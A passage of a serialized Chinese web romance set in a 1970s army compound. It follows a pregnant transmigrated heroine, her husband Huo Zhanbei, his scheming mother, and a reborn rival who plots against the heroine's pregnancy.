“明天的手术,就全靠你了。”
……
张主任走了一会,直到温**在电话那头喂了半天,霍爸才回过神,拿起电话的手还有些颤抖,
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“**你说的对,这个张主任太可怕。万一明天手术出事,他一定不会放过我们霍家。”
“所以,明天这手术,你绝对不能做。”
“可不做,也推不掉啊!”
霍爸一想到刚才张主任那一会猫脸,一会狗脸的样子,后背就冒冷汗。
他一个人啥都不怕,可他家里还有爹娘,老婆儿子。
如今还有了儿媳妇孙孙,他不能不小心。
“普通推辞根本不行,咱得想一个法子,让你不得不缺席的法子。”
两人商量了一会。
“你让老爷子明天一大早假装发病,然后你送他去,他常去的郊区疗养院。”
“好,我都听你的。”
“实在不行,你在疗养院,再给老爷子整台手术。你亲自主刀。这样,那个张主任和院长再厉害,也不能把你从老爷子的手术台前拉走。”
“**,我都听你的。”
“你别急,你先稳住。我这就买票回去。燕子妈和咱一个大院住着。咱两家还订过亲,到时候燕子妈再说燕子来找咱儿子复和,那就麻烦了。”
温**越想越担心,
“你一个人搞不定。我得赶回去。在大院里发喜糖。高调给咱儿子办婚礼,到时候当着大院邻居的面,接你们来这边参加婚礼。”
“嗯,这个法子好。**,我都听你的。”
“这一次咱傻儿子总算办了件好事。”
温**庆幸地说,
“人都说圆圆是一个乡下丫头,配不上咱儿子。其实他们都不知道,这风头上,咱家战北的出身,娶一个乡下丫头,是对咱霍家最好的保护。”
“嗯,**,你说的对,我也是这样认为的。咱儿媳妇真是个福星,她和咱儿子就是绝配。”
“对,对,你这句话说的我爱听,可不是绝配吗。”
温**笑得开心极了。
儿子绝嗣,儿媳易孕!
霍家三代单传,儿媳揣双胎!
儿子婚事要低调,儿媳是村姑!
这可是天底下,打着灯笼都难找的绝配啊!
……回忆结束……
此时,温**看着苏圆圆,这个她们霍家的大救星。心里又一次庆幸极了。
这些年,他们霍家本就是站在高台上,被众多眼睛看着的存在。
要是这时候战北没有娶圆圆,而是和燕子和好了。
温**都不敢往下想了。
“圆圆啊,你们年轻人好好谈,想要办个啥样的婚礼,你多提要求。”
温**真是越看她家宝贝儿媳妇,就越欢喜。
第50章 夏千燕,我想和你谈对象
再转头看向夏千燕,语气不由带了些怜惜,
“燕子啊,你出来,阿姨有些话要和你说说。”
“好的,温阿姨。”
夏千燕乖巧地跟在温**身后,走出去。
阳光照在夏千燕明媚的脸上,温**目光扫过她身上。
一件蓝白格布拉吉,小黑皮鞋,长发被一块花手帕扎着,流海被火钳夹出弯曲的的样子。
温**细心地注意到,夏千燕的眉毛显然用烧黑的火柴棒画过。
明知道战北已经结过婚,都有孩子了。燕子还打扮成这样,跑到儿子面前来晃。
这不是明晃晃的狐狸精作派吗?
温**心里不喜,但还是语气和缓地对夏千燕说,
“燕子啊,你这几天,有没有和你妈妈打过电话,你们家出事了,你知道吗?”
“我家出事了?出啥事了?我爸妈他们——”
夏千燕脸上一片惊愕,
“温阿姨,我从上海来部队的时候,家里还好好的。我爸还给我和战北哥哥带了许多上海的好东西。我这几天只想着处理和战北哥哥的事,没和家里通过电话。”
夏千燕语气带着紧张,
“温阿姨,我爸妈出啥事了,你可不要吓我。我舍下了上海的相亲对象,奔着战北哥哥来的。没想到战北哥哥结婚了。”
夏千燕小脸带着委屈和懂事,
“温阿姨,你放心,我不会打扰战北哥哥的幸福。我会好好考试,在医院里好好工作。你回去,替我给我妈说一声,就说我在这里啥都好。”
说到这里,夏千燕抬起小脸,眼里含了泪光,
“温阿姨,我以前年轻不懂事,伤了战北哥哥的心。经过这些年的磨砺,我才发现我心里一直放不下战北哥哥。”
说到这里,夏千燕的眼泪滴了下来,
“我知道这都是我的错。以后,我会好好的工作,在这里有楚行止照顾我,你放心,我不会去打扰战北哥哥生活的。”
夏千燕摆足了认错的态度,其实内心深处正在疯狂吐槽:
看看吧,一个个的,都不是啥好人。原先我刚给她说,我来找霍战北和好,这老东西还高兴得很,一口一个闺女的叫我。
我给她打电话说,霍战北找了个乡下大胖丫,还揣着别人的崽,她比谁都急,连天加夜的坐火车跑过来。
这会子倒好,一见我家出事了,就立马让我别再招惹霍战北。
那么多年我都叫她**阿姨,她咋啥都不说。
如今才刚娶了儿媳妇,就改口让我叫她温阿姨了。
我呸!一肚子坏水,精打细算的老东西!
温**哪里知道,夏千燕内心的想法。
她只看到夏千燕的懂事谦卑。
夏千燕如此姿态,倒让温**不好说什么了。
想想也是,谁年轻的时候还没有犯过错呢。
何况燕子都认识到自己的错了,如今家里又出了事,孤身一个姑娘在这里生活,唉,温**伸手拍拍夏千燕的背,
“燕子,你家里的事……”
温**简单把夏千燕爸妈的事说了一遍。
“燕子,你爸妈的事已成定局,你也别难过。现在,最重要的事,就是保全你自己。”
温**想了想,
“你一个姑娘家,背着一个资本家大小姐的名声,容易被人欺负。”
温**迟疑了一下,
“其实,有句话阿姨不知当讲不当讲。”
夏千燕吸了一下鼻子,
“温阿姨,我知道你是为我好。在我心里,你就像我妈妈一样亲。有啥话,你直接说就好。”
“你这孩子,真是懂事的让人心疼。”
温**心里紧了一下,
“你现在这种处境,有两条路可走,第一条路,你最好自请下乡援边当知青。”
夏千燕乖巧地点头,其实内心正在疯狂咒骂温**,瞧你给我出的啥馊主意,让我下乡当知青,你们一家怎么不下乡?
“还有第二条路,就是你进了医院,在军区找个根正苗红的男人嫁了。这样有他护着,就是查到你,也不好再处理。”
“嗯,温阿姨,谢谢你的建议,我会认真考虑的。”
“好孩子,你回家好好想想。阿姨还有事,就不陪你了。”
看着温**走远的背景。
啊呸!
夏千燕一口唾沫狠狠吐到地上,眼里含满了怨毒。
凭啥霍战北抛下她,转头就能娶个胖媳妇生孩子。
她就得家破人亡,孤身一人!
上天既然让她重生一世,她一定会改写她的命运。
拿下霍战北当**夫人,这是她的首先目标。
万一不成,第二个目标选谁呢?
楚行止绝对不行,她可不想再重蹈上一世的悲惨命运。
不行,不行。
夏千燕摇了摇头,暗暗叫着自己的名字。
夏千燕啊,你记住,这一世,你一定要做**夫人。
苏圆圆是因为怀了孩子
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,才让霍家死心护着。
既然赶不走她,那么,如果她肚子里的孩子没了,霍家还会护着她这个儿媳妇吗?
苏圆圆揣着野种来找,霍战北都愿意让她这个媳妇。
但如果苏圆圆不但孩子没了,还是被几个……这场面被霍战北亲眼看到,他还会认这个媳妇吗?
夏千燕唇边浮起一抹冷笑,转身向住院部走去。
她知道李菊花和她闺女都在这里住院,她要去看看李菊花。
夏千燕一边走一边想,李菊花肚子里野种已经暴露。
她得再想一个法子,让李菊花和李大山甘心去帮她,找人去祸害苏圆圆。
这两人太蠢了,夏千燕想着,她能用的人还是太少了,她得再想想,再找两个帮手。
“夏千燕?你是夏千燕?”
一个声音突然在她耳边响起,夏千燕猛地抬头,看到一个胖肚子几乎怼到她面前。
一件白的确良衬衫,被浑身的肉撑得满满的。脸上肉多,下巴肉多,脖子上的肉更是多。
圆鼻子、厚嘴唇,此时正冲着她笑,脸上的肉把眼睛挤成了一条缝,好在牙比较白。
“秦胖子?”
夏千燕眼皮跳了一下。
她没想到,会在这里见到上海时的初中同学——秦向阳
“你怎么在这里?”
“我爸是这医院的院长,我在这军区供销社当采购员。夏千燕,你怎么到这里来了?”
秦向阳一脸激动的笑,脸上的肉乱颤,眼里直发光。
“夏千燕,你听说了吗?你前对象霍战北结婚了,娶了个大胖媳妇,还是乡下来的,揣着个大肚子,都不知道怀的谁的孩子。霍战北居然认下了。”
秦向阳还是像上学的时候一样,人胖话多。像个娘们,东家长西家短,没有**的事。
“你说秦院长是你爸?”
“嗯,我爸妈以前在上海工作,前几年我爸申请调到军区医院来支边。我就跟着我爸,安排到这边供销社来了。”
秦向阳上下打量着夏千燕,
“夏千燕,你还和中学时一样,俊得很。”
说到这里,嘿嘿笑着,
“夏千燕,我爸是院长一月工资150,我妈是老师一月工资55,我当采购员一月工资66,再加上一些外快。我们一家三口,一个月工资近三百。”
秦向阳挠挠头,
“我现在还没对象,夏千燕你要是不嫌弃我胖,我想和你谈对象,行不行?”
第51章 洗脚
夏千燕心里猛地一跳。
这个秦向阳还是一如既往地大大咧咧,没心没肺的样儿。
长得丑,想得倒美。
夏千燕是重生一世的人,自然知道再过十几年,供销社都会改革关闭。秦向阳这个工作,根本没有前途。
但眼下,却是个非常让人眼热的岗位。
和他结婚绝不可能。但他可是秦院长的儿子。而且听他说一家三口,他还是独子。
夏千燕想着以前在中学,除了她认定的对象霍战北将门世家,作为校花她身边围的追求者哪个不是非富既贵。
当年秦向阳父亲只不过是普通医生,她自然看不上。
但现在今非夕比,秦向阳是目前最好的跳板。
想到这里,夏千燕娇羞一笑,
“你看看你,还是和上中学时一样。哪有人这样直接问人家姑娘的。”
说完,一转头,一跺脚,手握着辫梢笑得一脸柔媚。
夏千燕这一笑,秦向阳骨头都酥了。
中学时代,夏千燕可是他们学校的校花,哪个男同学不想和她谈恋爱。
可都知道她对象是霍战北,有钱有颜又有能力,他们这些男的,只能望着夏千燕背影流口水。
秦向阳没想到,他会在这里见到夏千燕,而且霍战北媳妇都怀孩子了。
嘿嘿,女怕缠郎,男怕娇娘。
只要他大胆一些,缠紧一些,说不定,就能抱回夏千燕这朵美校花了。
“夏千燕,你现在住在哪里,一会我给你送些好东西去。”
秦向阳眼睛一会也离不开夏千燕,
“我是采购员,常跟着车在外面跑着采购,手头有不少市面上没有的紧俏货。我这就回家给你去拿。”
“我才来军区没几天,哪有什么正经住的地方,如今只是凭着发小之情,暂住楚医生分的房子里罢了。”
夏千燕脸带轻愁,
“过几天,我就要参加家属招考了,我是学护理的,想着最好能进医院当护士。就是不知道,自己能不能考上。”
“你想当护士,这还不是小事,我给你搞定。”
“我有些怕,万一秦院长——”
看夏千燕白皙手指缠着发梢,一副忧伤表情。
秦向阳恨不得自己立马变成那络发梢,能被夏千燕的小手缠着。
“你别怕,不必经过我爸,我找我妈就能搞定。你就等好消息吧。”
说完,秦向阳转身就走,
“我这就回家去给你拿东西。”
看着秦向阳走远的背影,夏千燕脸上的娇笑变成一抹鄙夷的笑。
她正愁没有人用,这不现成的工具人来了。
夏千燕朝住院部走去,她得赶紧去找李菊花。
……
正午的阳光洒落在里屋。
霍战北的手按在轮椅上,脚下是一盆温热的水。
“你不要动,一会弄湿裤子。郑好得到下午才能来,我没法给你换裤子。”
苏圆圆搬一个小板凳坐着,肚子有点大,她蹲不下去,只能坐着。
她伸手去卷霍战北的裤子。
裤子一卷上去,苏圆圆就看到霍战北腿上沾满了液体石蜡。
七十年代,医用超声耦合剂还没普及,医院用的大多是医用液体石蜡。
霍战北腿上毛发旺盛,肌肉纠结,此时黏着石蜡,苏圆圆看着都替他难受。
“霍战北,你这腿毛可真多,比我老家大黄狗的**还密呢。
霍战北下意识扯了一下裤子,
“军人嘛,火力旺。不过,你要是不喜欢,等郑好来了,让他给我剃了去。”
“我没有说不喜欢。”
“我怕扎着你。”
苏圆圆脸惊了一下,
“谁嫌扎得慌了,我就是随口一说,你——”
突然感觉自己好像说错了话。这话说的,怎么听,都像是她很喜欢霍战北用腿毛扎她一样。
“你皮肤比别人嫩,下次洗澡,我让郑好帮我把上面和下面的都剃了。”
上面的?
苏圆圆的目光扫了一下霍战北上衣。
下面的?
又扫了一眼裤子中间……
脸一下子爆红了。
这个霍战北,真真是个闷**。
明明一脸正经,句句话却都在逗她。偏还让人挑不出证据。
“别动,一会给你洗湿了裤子。”
苏圆圆赶紧低下头,拿起浸湿的毛巾,给他擦腿上的石蜡。
可是那石蜡变干了一些,黏在腿毛上,不太好擦掉。
苏圆圆只能用小手去扣,一下揪掉几根腿毛。
“疼不疼?”
苏圆圆嘴里斯斯着。
“你揪的,不疼。痒痒——”
这又是啥撩人的话,啥叫她揪的不疼。
不疼是吧?苏圆圆快手又扣掉
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几块。
霍战北低着头,正好看到苏圆圆乌黑发顶,白胖的胳膊。
脸颊白嫩的像块豆腐,唇边带一个小笑窝。嘴唇粉嫩嫩,说着话,一动一动……
如果亲上去……
霍战北脑海里不由又想到那个夜晚……
目光再往下看,苏圆圆白胖小手,软乎乎的,在他腿上一下一下地扣着。
每一次碰触都像在草原上点了一把火。
霍战北觉得他不行了,他啥时候变成这样的人了。
“你看看,这个楚医生也真是的,看着那么整齐个人,咋给你涂成这样?检查完也不好好给你擦擦。明知道干了这么难擦。”
苏圆圆洗完霍战北小腿上的石蜡。
看到上面还有。
把裤子再往上挽一下,往上面,还有不少石蜡。
她不由抱怨,这是真想累死她。
一提到楚行止,霍战北不由想到刚才在检查室里,楚行止对他说的那些话。
“霍战北,那乡下老中医真把你绝嗣的病治好了?我不信,我给你检查一下。”
“你查啥,不信,咱两撒泡尿比一比。”
“霍战北你可真龌龊,我才不和你比远近,又不是小时候。”
楚行止嘴上说着,手上没闲,直接给他检查了一下。
霍战北没反对,毕竟上次受伤的时候,手术都是楚行止做的。
反正两人打小光着一起玩泥巴,彼此啥没见过。
“咦,还真好了。”
楚行止语气里满满的震惊。
霍战北一脸自豪,在苏家村虽然丈母娘给他喝了一碗不该喝的药。
但说到底,他还真得要感谢他丈母娘。
一碗药,让他自手术后一直垂头丧气的小战北,居然活蹦乱跳了。
“这样看,你媳妇肚子里怀的孩子,还真是你的种!”
楚行止语气里带着不敢相信,又满满的羡慕。
“不重要,反正我媳妇生的,就是我的。”
“你这是得了便宜还卖乖吧。霍战北,你给我说实话,你是不是从一开始就知道,你的病早好了,你媳妇肚子里怀的孩子就是你的?”
“那重要吗?”
楚行止啧啧,这家伙真是欠揍的嘚瑟货。
从小就腹黑,做啥事都是走一步想三步,打死他,他都不相信,这家伙不知道他媳妇肚子里的孩子是谁的。
第52章 团长,我啥也没看见
“其实这事也瞒不了人,等孩子生下来,你妈抱着孩子来医院一验。啥都清楚了。”
“和我无关,他们认不认孩子不重要。我的媳妇孩子,我自己认,自己养就好。”
“不过,楚行止,你既然非要给我检查,那你就检查得仔细点。你说我这好了以后,还要再做啥康复运动或者吃药不?”
霍战北一点也不扭捏,
“我既然娶了我媳妇,咱是男人,就得为她后半辈子的幸福考虑不是。”
霍战北瞥了一眼楚行止裤子,
“我听说,那玩艺长时间不用,就不好用了。”
我?
楚行止牙酸。
这家伙就是故意显摆,气他这一个连媳妇都没有的人。
“等我找到宝宝,我会和她生一堆孩子。”
楚行止咬牙切齿,
“不管你们生几个,我都要比你们多生一个。”
“我媳妇怀的可是龙凤胎,那你可要努力了,得一胎三才能超过我媳妇。哈哈哈——”
霍战北笑得洁白牙齿上跳跃着金色阳光。
气的楚行止小白脸红了又白,白了又红。
气**,他在外人面前永远清风明月,咋一碰到这个货,他就稳不住了,几乎每一次都输呢?
……
媳妇软嫩嫩的小手,在他腿上揪啊揪,每碰一下,都让霍战北内心深处山呼海啸。
“咦,你腿咋红了?我给你揪的?”
苏圆圆努力揪完一条腿,用毛巾擦干净,刚想放下他的裤腿,却看到霍战北腿变红了。
哎哟,她刚才不该和他赌气,下手那么重的,把腿都给他揪红了,那得多疼啊。
苏圆圆想到,在现代的时候,她为了想在夏天穿美美的小裙子,又不想去美容院脱毛。
她在家就用在网上买的脱毛膏抹在小腿上,她小腿上就几根小腿毛,黏掉一根她都觉得疼。
她一下给霍战北揪掉那么多腿毛,人家就是男人,也得疼啊。
“霍战北,对不起,我——”
苏圆圆仰起头,刚想给霍战北道歉,却被霍战北的大红脸吓住了。
咦,
她不就给他揪个腿毛吗?
他脸咋了?
“霍战北,你脸咋——”
霍战北突然俯下头……
苏圆圆只觉得男人胳膊上的肌肉坚硬,一只大手捧着她的后脑勺,一手托着她的下巴,把她牢牢禁锢在他的气息里。
灼热的气息喷在她的脸上
……
“媳妇,我难受!”
男人委屈的声音像个讨好的小狗狗。
动作也像个小狗狗,轻轻舔蹭着她的脸,最后一直在她的耳垂上流连。
霍战北早已两手臂一使力,把苏圆圆抱到了轮椅上,窝在了他怀里。
此时一只手紧托着她的后腰,另一只手伸进了……
“媳妇,你一定在水里给我下草药了。”
苏圆圆全身软得像水,要不是还有理智撑着,
她早就……
“孩子?我的肚子——”
“我知道,媳妇,我就是难受。”
霍战北把脸埋在苏圆圆的颈窝里,落在她耳边的呼吸烫得让她无法动弹。
苏圆圆深刻体会到了甜蜜的烦恼。
自家男人太帅,太好摸,却只能看,不能……
唉,都怪自己怀了宝宝,耽误了她的幸福生活。
苏圆圆觉得此刻的自己,真的太像一个大渣女了。
只想吃,完全不想负责的那一种。
“霍战北——”
“换个叫法——”
男人的声音暗哑,像暗夜里的一头猛兽一样,不耐烦地蛰伏着。
“北北——”
“嗯。”
“北北。”
“难受,媳妇,你的北北难受。”
霍战北的手又有些不老实。
突然,苏圆圆肚子动了一下,两人一下子僵住了。
“她动了?”
霍战北有些懵,像所有准新手爸爸一样,心慌意乱、手足无措。
“真的,孩子动了。”
肚子里的孩子都五个多月了,苏圆圆穿书过来也几天了。
胎动也有,但都很微弱,这还是第一次动得这么明显和用力。
“你来摸摸。”
苏圆圆把霍战北的手放到刚才胎动的地方。
两人屏住呼吸,等了一会,却没见再动。
“刚才一定是那臭小子,要是咱闺女一定会和我打招呼的。”
霍战北
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刚要抽回手,手下的肚皮,突然动了一下,这一次很明显。
就像里面有一个小脚在踢他,又像一个小拳头在和他击掌。
那种柔软一直从手掌心,慢慢漫到心脏深处。
霍战北脸上的表情,从惊讶,再到惊喜,再到……
“嘿嘿,咱闺女和我打招呼了。”
从这一下子之后,仿佛打开了一个闸门一样,苏圆圆肚皮一会鼓动一下,一会又鼓动一下。
“这个是咱闺女。”
霍战北大手紧贴在上面,俯下头靠近,
“这个是臭小子。”
“你咋知道哪个是闺女,哪个是小子?”
苏圆圆笑霍战北像个孩子。
“温柔滚过来蹭蹭我的,当然是咱可爱的闺女了。捶我拳头的一定是那臭小子。”
哈哈……
苏圆圆也觉得神奇,她一个现代没谈过恋爱的加班累死的社畜,一穿过来就成了怀双胎的孕妇。
她心里不是没骂过老天。
不过,这会,她真真感谢漫天的神佛。
让她穿过来,让她怀了两宝宝,让她遇见了霍战北。
哐当——
哗啦——
“嫂——嫂——嫂子——团——团长——”
堂屋门口站着郑好,两手张着,怀里的东西掉了一地。
郑好觉得,他的点真是太背了。
这几天,他都不知自己撞破了多少次团长和嫂子亲亲爱爱的场面了。
哎呀,他家团长怕不是有病了吧!
在外面那么凶的一个人,咋在嫂子面前温柔得像小绵羊了?
“滚出去!”
霍战北迅速掩上苏圆圆的衣裳,大吼一声,脸色发黑。
滚,滚,他这就滚!
郑好憋屈地很,他就站在堂屋门口,只看到嫂子坐在团长轮椅上,背对着他,啥也没看到啊。
团长就会吼他!
“还不滚,还没看够!”
团长又吼他。
“滚,滚,滚,我这就滚,立马滚。”
郑好掉在地上的东西都没敢捡,连忙后退,一边退一边小声嘀咕,
“团长,我啥也没看见。”
霍战北气的脸更黑了。
臭小子,你还想看见啥?
第53章 长得像亲母女
“你这孩子,跑啥呀?”
郑好刚跑出院门,就被温**叫住。
“娘,团长娘。”
郑好看着站在一起的他娘和温**,赶紧站住,紧张地叫了一声。
而后像猛然睡醒一样,转身就往院里跑。
“他霍大娘,你别和孩子一样。我们家是山沟里出来的,孩子见识少。”
穿一件带补丁的蓝色粗布斜襟大褂,裤腰肥大的抿裆黑粗布裤子,一双方口布鞋磨得起了毛边,头上戴一块老蓝头方巾。
那么瘦小一个老太太,背上却背着大包裹小行李。堆得像个小山一样。
他霍大娘?
温**被这个称呼梗了一下,从医院到家门口,这一路上,郑好娘和她说话,一口一个他霍大娘。
叫得温**都觉得,她自己马上就成一个小老太太了。
但她也知道,这是郑好老家的风俗,十里八村和孩子娘同年龄的,孩子们都叫大娘婶子的。
只不过,他霍大娘这四个字,她真心听不习惯。
被这样一叫,她觉得她都不是温**,只是霍家的媳妇了。
唉,没法,几千年的父权社会,温**知道和郑好娘这样的,讲不通这些。索性,她叫,她也就应了。
好在,郑好是个勤快的;郑好的娘是个能干善良的。
把圆圆托付给这娘俩,她才能安心回京市。
“温阿姨,这是啥人啊?”
隔壁院门打开,夏千燕靠在门框上,目光在农村小老太太身上扫了一遍。
眼神里掩饰不住的鄙夷。
“哦,燕子啊,这是郑好的娘,她以后就在这院里住了。邻居之间,以后你们互相照应一下。”
“郑好的娘啊?”
夏千燕斜了一眼刚才被撞开的霍战北家院门,
“霍战北这个小勤务兵人是挺勤快的,就是人有点傻,做事****糙糙的。哈哈,不过还挺可爱的。”
说着,抿嘴一笑。
郑好娘看这姑娘一身亮眼的新衣裳,一张脸白得像搽了一面缸的面粉,知道人家姑娘是大地方来的。
自家儿子在这里当兵,她这当娘的得替儿子为人情。
郑好娘赶紧放下东西,从一个大包里掏出一把花生,捧到夏千燕面前,
“这位姑娘长得真俊,我家娃不懂事,你们多担待。这是我们自家种的花生,娃他爹亲手炒的,可香着呢。”
哎呀,啥东西!脏死个人了。
看着郑好娘递到她面前的东西,夏千燕不由后退一步。
长满老茧的手,捧着炒得焦黄的花生。看着就脏,让人倒胃口。
还有这乡下婆子一身衣裳,虽然洗得干净,却打着补丁,真穷。
“姑娘,这花生是用沙土炒的,来的时候我全都用干净毛巾蘸干净了。好吃,你尝尝。”
“我家在海市,吃不习惯这些东西。”
夏千燕打着哈哈。
“老嫂子,这时的孩子不懂啥是好东西。我年轻时跟着老霍下乡,在乡亲家里吃过。是香着呢。”
温**看着尴尬的郑好娘,伸手拿了一粒花生,剥开,一捻薄薄的小红皮,两颗饱满的花生仁就落在手掌心里。
咬一口,满嘴香。
别的不说,温**知道,郑好娘千里遥远带了自家炒的花生给儿子吃,自然是带最好的。
温**虽然啥也没说,但也没再去看夏千燕。
心想,以前没看出来,燕子这孩子看着挺乖巧懂事的,其实骨子里还是任性自私的,看人还分三六九等。
温**这会子才觉出,还是她婆婆以前说的对。
以前夏千燕和战北订婚的时候,婆婆就不太同意,说夏千燕在海市跟着她爸,一身商贾气,不是良配。
那时候,她还不相信,现在看来,看人还是老人眼光最毒。
“自家炒的哈,我就尝一粒哦。”
看着温**的举动,夏千燕心里再不乐意,也伸手去捏了一粒。
她早晚都是要嫁到霍家的,这可不能让以后的婆婆认为她太世俗了。
郑好娘看着面前这个大城市里来的姑娘,两根雪白细嫩的手指,像捏着一颗**一样捏着她家那粒花生。
小手使劲捏了几次,都没捏开花生壳。
夏千燕尴尬地看着温**,
“这壳好硬,是不是,温阿姨?”
“花生壳子不都是这样的吗?不是它硬,是你不会使劲。”
温**脸上有些不快,不管咋
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说,郑好娘是她领来的客人,燕子这做法,真是有些太不知礼了。
“姑娘手嫩没劲,我来帮你。”
郑好娘挑了一个单粒最大最饱满的花生,手轻轻一挤,花生裂开了,她喜嗞嗞递到夏千燕面前,
“来,姑娘,你尝尝。”
皴裂的手、坚硬的茧子。
夏千燕嫌弃地看着这个乡下婆子的手,心里把这讨人嫌的乡下婆子骂个半死。
也不看看你的手都成啥样了,还拿东西给我吃。
你敢给,我都不敢吃,怕有细菌吃病了。
但她只敢在心里骂,脸上却不敢显。
僵着表情,迟疑地伸出手。
一只白皙柔嫩的小手,一只皴裂黑瘦的老手。
两只手之间,只隔着一颗花生米的距离。
不知为何,看到这一幕,温**的心不由揪了一下。
“哎呀!它掉了!”
两手相接之时,夏千燕真心不想让乡下婆子的脏手碰着自己,手一抖,花生掉到了地上。
“嗯哼,这花生认生,知道我不是它家的,还不让我吃了。”
“你这姑娘——”
郑好娘自打进了大院,儿子给她说过。这大院里住的都是部队里的家属。
那在她们这些老百姓眼里,就都是官了。
所以,她一直都是低头和人说话,不敢看人的脸。
怕人说她不懂事,给儿子丢脸。
此时这姑娘花生掉了惊叫,她不由抬头,正好和夏千燕面对面,脸对脸,眼睛对上了眼睛。
一瞬间,郑好娘觉得有些头晕。
这姑娘,她咋长得和自己年轻时一模一样的啊?
“你——”
夏千燕也吓住了。
哎哟,面前这个乡下婆子,一张沧桑的皱巴巴的黑脸,咋越看越熟悉。
居然和她长得一样?
夏千燕全身发凉。
“你们这是?”
温**被这两人的表情惊动,看看这个,再看看那个,
“哦,我就说呢?刚才一见老嫂子我就觉得面善,好像在哪里见过。这么一看,你和燕子长得可真像。”
温**哈哈一笑,
“这不知道的,见了你们两,还以为你们是亲母女呢?”
第54章 明天去登记
“不,我才不和她像,她一个乡下婆子——”
夏千燕失声尖叫,而后对上温**责备的眼神,又猛地住嘴。
要不是她背后就靠着院门,她真想转身就跑。
她真不敢想像,要是她这辈子不能嫁给霍战北,找个普通人嫁了,她老了以后,是不是就会像眼前的郑好娘一样,又老又丑又穷。
“你这孩子。”
温**拉了一下夏千燕的手,觉得她这样惊恐和嫌弃太明显,有些太失礼了。
“等我以后见到你妈,可得问问她,是不是在哪抱错了孩子。”
温**打趣道。
郑好娘也从刚才的震惊中回过神来,连连摆手,
“霍大娘你说笑了,我们是穷苦人家,哪能和这城里的姑娘攀扯上。”
郑好娘对着夏千燕,脸上露出抱歉的笑容,
“这世上长得像的人多了,要都是亲戚,还得了。”
“可不是嘛,你看我这嘴。哈哈,你们长得如此像,也算是缘份。”
温**有意缓和气氛,
“以后都是邻居,互相来往。”
温**拉着夏千燕对郑好娘说,
“她叫夏千燕,是我们在京市朋友的闺女。她一个人在这边,有啥事,你懂得多,多帮着她点。”
“嗯,他霍大娘你说的对,这孩子看着和我家娃差不多大,你放心,我都当自家孩子待。”
郑好娘冲着夏千燕露出一个慈祥的笑,
“我是郑好的娘,带他爹来医院看病。没地方住。霍大娘心好,叫我来霍团长家里住,照顾一下她儿媳妇。”
郑好娘再没拿出东西送夏千燕,她是乡下出来的没错,可她打小在后娘手底下过活,惯会看人眼色的。
哪能看不出面前这个城里姑娘,有多嫌弃她。
吃她一粒花生都嫌脏,说她长得和自己像,这姑娘不得气死。
但她是上了年纪,当娘的人,自然不会和跟自己孩子差不多大的姑娘生闲气。
“娘,团长娘,你们在这说话来。”
刚才转身冲进院门的郑好,此时又满头大汗地跑回来,
他拿起地上的大包小包,全背在自己身上,
“娘,团长娘,你两不急,慢慢走,先到院里歇一会再进屋。”
这话说的没头没脑的。
温**看了他一眼,心知这个小勤务兵一向勤快心细。这样说话,难道儿子儿媳妇在屋里……
“好,咱慢慢走,不急。”
郑好嘴上不好说,心却跳得要蹦出来。
我的娘哎,他刚才一看到他娘和团长娘来了。
才想起来,他家团长和嫂子还在屋里……
这要是被他娘和团长娘撞见了。
嘿嘿,团长就不是让他滚的事了,那绝对是要狠狠削他的。
所以他腿比嘴快,转身就跑,给他家团长报信去了。
刚才他跑到堂屋门口,眼都不敢抬,直接说了一句,
“团长,你娘和我娘来了。”
然后把堂屋门给哗地关上,还顺手上了锁,然后又跑了回来。
温**笑着对夏千燕说,
“燕子,你中午别做饭了,到我家一起吃了吧?”
温**心想,要真是儿子儿媳妇此时在屋里……这时让燕子一起回家,看到一些,也算绝了她的想法。
如果说,以前夏千燕说啥,温**都相信的话。
经过今天在医院,和这会子郑好娘的事,温**觉得,她其实很不了解夏千燕这个孩子。
“我不去了,我一会还要去找楚行止借医书,准备后天的考试。”
夏千燕挥挥手,
“温阿姨,你们走,我先回去了。”
说完,笑眯眯和温**告别,看她们走开,转身关了院门。
自始至终,夏千燕连个眼神都没给郑好母子。
郑好娘走在最后边,不知为何,明知那姑娘不待见她,还是不由回头想望她一眼。
这一眼,郑好娘目光又对上了夏千燕的目光。
夏千燕半张粉嫩小脸露在门外,斜着眼,冷漠嫌弃地目光,让郑好娘浑身不由一阵发冷。
在以后无数个难过的时刻,郑好娘都会不由想起她第一次见到夏千燕,夏千燕用两根手指捏着她家花生,娇声说:
自家炒的哈,我就尝一粒哦!
哎呀,它掉了!
嗯哼,这花生认生,知道我不是它家的,还不让我吃了!
尤其
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是最后半张小脸隐在门后,看她的那种眼神。
每每想起,就犹如万箭穿心,悲凉而绝望。
……
“哎呀,妈带人来了。”
屋里,苏圆圆慌得就要从霍战北身上爬起来,却被霍战北一只大手给按住了。
“别急,你身子重,慢点,地上有水,别滑着。”
他一只大手扶着苏圆圆后腰,另一只大手牢牢握住她胳膊,把她平稳放到地上。
“呀,刚才光顾着……我压着你腿了,你腿咋样,疼不疼?”
看着苏圆圆一脸着急。
霍战北有些想笑,他这个小媳妇平时看着精明地很,但有时候犯起小迷糊来,还真是可爱地紧。
“你没压着我腿,你压着我——”
顺着霍战北的目光看去,苏圆圆脸一红,赶紧伸手给他扯平了裤子,
“一会妈进来了,你可别乱说话。羞**了。”
“嗯,都听我媳妇的。”
霍战北在我媳妇三个字上,加重了语气。
时间紧,苏圆圆不想再和这家伙扯下去。
经过这几天的相处,她算是彻底明白了,她家这个男人,就是个黑芝麻馅的,表面一本正经,心里可骚包了,点子还多。
好在,这家伙的黑都是对外人的,对她这个媳妇儿却是一片红。
苏圆圆手忙脚乱,收走了盆,然后整理好衣裳,推着霍战北的轮椅走出里屋。
伸手一拉堂屋门,
咦,
门在外面锁上了,拉不开。
哐当,苏圆圆拉了几下门,示意外面有人听到给开门。
“媳妇,你闪开,你别碰着手。”
霍战北对苏圆圆说话有多温柔,下一秒冲着门外吼得就有多暴躁,
“郑好,开门!”
“来了,团长,我来了。”
郑好刚带着他娘和温**进了院子,把东西放地上。
就听到堂屋门响了几声,然后他家团长的大嗓门就炸了出来。
郑好紧跑几步,飞快把门打开。
门一开,没等霍战北和苏圆圆说话,郑好上来一句话封嘴,
“团长,你的表批下来了,**部王主任让你和嫂子明天去照相,去登记。”
第55章 给李菊花出毒计
明天去登记?
隔壁院里,一直听着旁边院里动静的夏千燕。
本想听听那个乡下婆子会不会,背着她,对温**说她啥坏话。
没想到,却直接听到这么一个扎她心的事。
霍战北的结婚申请报告批下来了!
明天霍战北就要和那个乡下大肥婆去登记了?
明知道上辈子他两也结了婚,生了许多孩子,一辈子生活幸福美满。
可是,这时候听到了这个消息,夏千燕还是难受得整颗心都要被嫉妒炸开了。
凭啥?
苏圆圆一个乡下又土又肥的臭丫头,凭啥就能嫁给霍战北?
